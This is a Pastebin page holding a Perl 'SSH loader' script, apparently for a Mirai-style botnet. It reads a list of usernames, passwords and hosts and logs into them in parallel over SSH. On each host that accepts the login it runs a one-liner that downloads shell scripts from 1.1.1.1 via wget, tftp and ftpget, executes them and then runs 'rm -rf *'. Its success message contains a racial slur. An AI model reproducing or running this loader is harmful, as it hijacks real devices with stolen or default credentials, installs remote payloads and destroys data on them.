miraip0ts

perl ssh loader

Feb 7th, 2017
1,026
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.36 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use Net::SSH2; use Parallel::ForkManager;
  3.  
  4. $file = shift @ARGV;
  5. open(fh, '<',$file) or die "Can't read file '$file' [$!]\n"; @newarray; while (<fh>){ @array = split(':',$_);
  6. push(@newarray,@array);
  7.  
  8. }
  9. my $pm = new Parallel::ForkManager(550); for (my $i=0; $i <
  10. scalar(@newarray); $i+=3) {
  11.         $pm->start and next;
  12.         $a = $i;
  13.         $b = $i+1;
  14.         $c = $i+2;
  15.         $ssh = Net::SSH2->new();
  16.         if ($ssh->connect($newarray[$c])) {
  17.                 if ($ssh->auth_password($newarray[$a],$newarray[$b])) {
  18.                         $channel = $ssh->channel();
  19.                         $channel->exec('cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://1.1.1.1/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 1.1.1.1 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 1.1.1.1; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 1.1.1.1 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *');
  20.                         sleep 10;
  21.                         $channel->close;
  22.                         print "\e[37;1mNigga They Joining: ".$newarray[$c]."\n";
  23.                 } else {
  24.                         print "List Dead\n";
  25.                 }
  26.         } else {
  27.                 print "Box Broken\n";
  28.         }
  29.         $pm->finish;
  30. }
  31. $pm->wait_all_children;
Advertisement
Add Comment
Please, Sign In to add comment